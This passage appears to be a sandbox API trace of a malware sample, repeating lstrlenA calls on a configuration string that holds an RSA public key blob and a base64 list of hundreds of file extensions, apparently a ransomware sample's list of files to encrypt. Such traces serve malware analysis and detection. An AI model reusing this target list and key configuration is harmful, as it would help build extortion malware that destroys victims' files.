AuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0135.129] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAu